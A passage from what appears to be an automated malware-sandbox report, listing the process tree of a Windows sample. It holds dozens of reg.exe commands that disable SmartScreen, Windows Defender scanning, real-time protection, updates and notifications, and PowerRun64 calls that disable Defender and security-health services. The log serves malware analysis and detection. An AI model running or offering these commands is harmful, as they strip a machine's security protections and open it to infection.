reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
5⤵
PID:5276

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
5⤵
PID:3948

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
5⤵
PID:1044

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
5⤵
PID:1896

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
5⤵
PID:4448

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
5⤵
PID:5380

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
5⤵
PID:4848

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
5⤵
PID:5124

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
5⤵
- Modifies security service
PID:4812

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
5⤵
PID:992

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
5⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:5828

C:\Windows\SysWOW64\reg.exe
reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
5⤵
PID:4840

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
5⤵
PID:5768

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f
5⤵
PID:4060

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f
5⤵
PID:5340

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f
5⤵
PID:6080

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t reg_DWORD /d "0" /f
5⤵
PID:2204

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
5⤵
PID:4564

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "LocalSettingOverridePurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
5⤵
PID:740

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t reg_DWORD /d "1" /f
5⤵
PID:5640

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t reg_DWORD /d "1" /f
5⤵
- Modifies Windows Defender Real-time Protection settings
PID:5876

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t reg_DWORD /d "1" /f
5⤵
- Modifies Windows Defender Real-time Protection settings
PID:5052

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t reg_DWORD /d "1" /f
5⤵
- Modifies Windows Defender Real-time Protection settings
PID:5308

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t reg_DWORD /d "1" /f
5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
PID:1272

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t reg_DWORD /d "1" /f
5⤵
- Modifies Windows Defender Real-time Protection settings
PID:6132

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t reg_DWORD /d "1" /f
5⤵
PID:2380

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleDay" /t reg_DWORD /d "8" /f
5⤵
PID:1548

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleTime" /t reg_DWORD /d 0 /f
5⤵
PID:388

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "AdditionalActionTimeOut" /t reg_DWORD /d 0 /f
5⤵
PID:5056

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "CriticalFailureTimeOut" /t reg_DWORD /d 0 /f
5⤵
PID:5880

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "NonCriticalTimeOut" /t reg_DWORD /d 0 /f
5⤵
- Executes dropped EXE
PID:4328

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableGenericRePorts" /t reg_DWORD /d 1 /f
5⤵
PID:1180

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
5⤵
- Executes dropped EXE
PID:3012

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "AvgCPULoadFactor" /t reg_DWORD /d "10" /f
5⤵
PID:4668

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableArchiveScanning" /t reg_DWORD /d "1" /f
5⤵
PID:6116

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupFullScan" /t reg_DWORD /d "1" /f
5⤵
- Executes dropped EXE
PID:3208

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupQuickScan" /t reg_DWORD /d "1" /f
5⤵
PID:5896

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRemovableDriveScanning" /t reg_DWORD /d "1" /f
5⤵
PID:5724

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRestorePoint" /t reg_DWORD /d "1" /f
5⤵
PID:3020

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningMappedNetworkDrivesForFullScan" /t reg_DWORD /d "1" /f
5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
PID:1348

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningNetworkFiles" /t reg_DWORD /d "1" /f
5⤵
PID:2008

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "PurgeItemsAfterDelay" /t reg_DWORD /d 0 /f
5⤵
PID:4344

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleDay" /t reg_DWORD /d 8 /f
5⤵
PID:2044

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleTime" /t reg_DWORD /d 0 /f
5⤵
PID:5820

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanOnlyIfIdle" /t reg_DWORD /d 0 /f
5⤵
PID:4256

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanParameters" /t reg_DWORD /d 0 /f
5⤵
PID:5412

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" /v "FirstAuGracePeriod" /t reg_DWORD /d "0" /f
5⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:3820

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableUpdateOnStartupWithoutEngine" /t reg_DWORD /d 1 /f
5⤵
PID:5204

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleDay" /t reg_DWORD /d 8 /f
5⤵
PID:5076

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleTime" /t reg_DWORD /d 0 /f
5⤵
PID:5884

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "SignatureUpdateCatchupInterval" /t reg_DWORD /d 0 /f
5⤵
PID:5276

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t reg_SZ /d "Anywhere" /f
5⤵
PID:5344

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d 1 /f
5⤵
PID:5476

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t reg_DWORD /d "1" /f
5⤵
PID:528

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t reg_DWORD /d "0" /f
5⤵
PID:1896

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReportingLocation" /t reg_MULTI_SZ /d "0" /f
5⤵
PID:5100

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t reg_DWORD /d "2" /f
5⤵
- Modifies data under HKEY_USERS
PID:5484

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t reg_DWORD /d 0 /f
5⤵
PID:5592

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v "HideSystray" /t reg_DWORD /d "1" /f
5⤵
PID:4848

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_DWORD /d "1" /f
5⤵
- Modifies Windows Defender notification settings
PID:3944

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
5⤵
PID:5864

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /t reg_BINARY /d "030000000000000000000000" /f
5⤵
PID:3572

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:4184

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:5340

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Modifies data under HKEY_USERS
PID:5376

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:5644

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
PID:3232

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:5172

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:6036

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Modifies data under HKEY_USERS
PID:3728

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
8⤵
- Executes dropped EXE
PID:4176

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:1548

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:5792

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Modifies data under HKEY_USERS
PID:3948

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
8⤵
- Modifies security service
PID:544

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:6052

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:5276

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:5864

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:2792

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
PID:5672

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:5844

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:5348

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Modifies data under HKEY_USERS
PID:5212

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:6064

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:2452

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:5872

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Executes dropped EXE
PID:3284

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:1044

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
5⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:5232

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:2288

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Modifies data under HKEY_USERS
PID:4396

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
8⤵
- Modifies security service
PID:3140

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
- Modifies Windows Defender Real-time Protection settings
PID:5640

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:1428

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:5100

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Modifies data under HKEY_USERS
PID:6080

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
8⤵
- Modifies data under HKEY_USERS
PID:2452

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
- Modifies Windows Defender Real-time Protection settings
PID:2380

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:2952

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:5172

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Modifies Windows Defender Real-time Protection settings
- Modifies data under HKEY_USERS
PID:5644

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:5724

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
PID:3020

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:6088

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:388

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Modifies data under HKEY_USERS
PID:3208

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:5680

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
PID:3360

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:1584

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:6116

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:4840

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:2952

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:6052

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:5564

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
7⤵
PID:6044

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:5448

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
5⤵
PID:5400

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
6⤵
PID:6076

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
"C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
7⤵
- Modifies data under HKEY_USERS
PID:4276

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
8⤵
PID:5892

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
- Modifies security service
PID:1044

C:\Users\Admin\AppData\Local\Temp\nsd1E10.tmp\PowerRun64.exe
